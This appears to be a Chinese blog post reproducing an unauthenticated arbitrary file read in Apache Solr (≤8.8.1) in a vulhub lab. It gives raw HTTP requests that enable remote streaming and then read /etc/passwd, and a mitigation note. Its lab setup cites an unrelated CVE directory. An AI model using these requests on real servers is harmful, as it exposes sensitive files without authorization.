本文字数:570
阅读时长:2~3min
声明:请勿用作违法用途,否则后果自负
0x01 简介
Apache Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。
0x02 漏洞概述
Apache Solr 存在任意文件读取漏洞,攻击者可以在未授权的情况下获取目标服务器敏感文件。
0x03 影响版本
Apache Solr <= 8.8.1
0x04 环境搭建
使用vulhub快速搭建
代码语言:javascript复制wget https://github.com/vulhub/vulhub/blob/master/solr/CVE-2019-17558/docker-compose.yml
docker-compose up -d
docker ps
0x05 漏洞复现
1、获取core的信息:主要是name
代码语言:javascript复制http://xx.xx.xx.xx:8983/solr/admin/cores?indexInfo=false&wt=json
2、根据name构造获取config的包
根据返回包内容可判断存在漏洞
代码语言:javascript复制
代码语言:javascript复制POST /solr/demo/config HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 80
Connection: close
{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}
3、构造读取/etc/passwd的包
代码语言:javascript复制POST /solr/demo/./debug/dump?param=ContentStreams HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Connection: close
stream.url=file:///etc/passwd
0x06 修复方式
将Solr 端口仅对内网开放
无修复版本(好像是官方不认这个漏洞,拒绝修复)
代码语言:javascript复制参考链接:
https://mp.weixin.qq.com/s/HMtAz6_unM1PrjfAzfwCUQ
https://mp.weixin.qq.com/s/SFC8X7o2kfFASHmLeD3-UQ
https://github.com/vulhub/vulhub/tree/master/solr/CVE-2019-17558